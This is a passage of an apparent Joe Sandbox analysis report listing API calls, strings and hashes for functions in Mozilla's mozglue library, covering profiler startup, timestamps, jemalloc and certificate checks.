LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

AuthcAMDenti, xrefs: 6C953946
GTC, xrefs: 6C953912
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
GenuntelineI, xrefs: 6C953639
QPC, xrefs: 6C9538FC

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511
[I %d/%d] profiler_init, xrefs: 6C96564E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
GeckoMain, xrefs: 6C965554, 6C9655D5
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8
(, xrefs: 6C96768A
wintrust.dll, xrefs: 6C9672CD
SHA256, xrefs: 6C966EC0

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8
<jemalloc>, xrefs: 6C989B33, 6C989BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
MALLOC_OPTIONS, xrefs: 6C9897CA
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
MOZ_CRASH(), xrefs: 6C989B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8
<jemalloc>, xrefs: 6C993941, 6C9939F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
Compile-time page size does not divide the runtime one., xrefs: 6C993946
MALLOC_OPTIONS, xrefs: 6C9935FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
MOZ_CRASH(), xrefs: 6C993950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
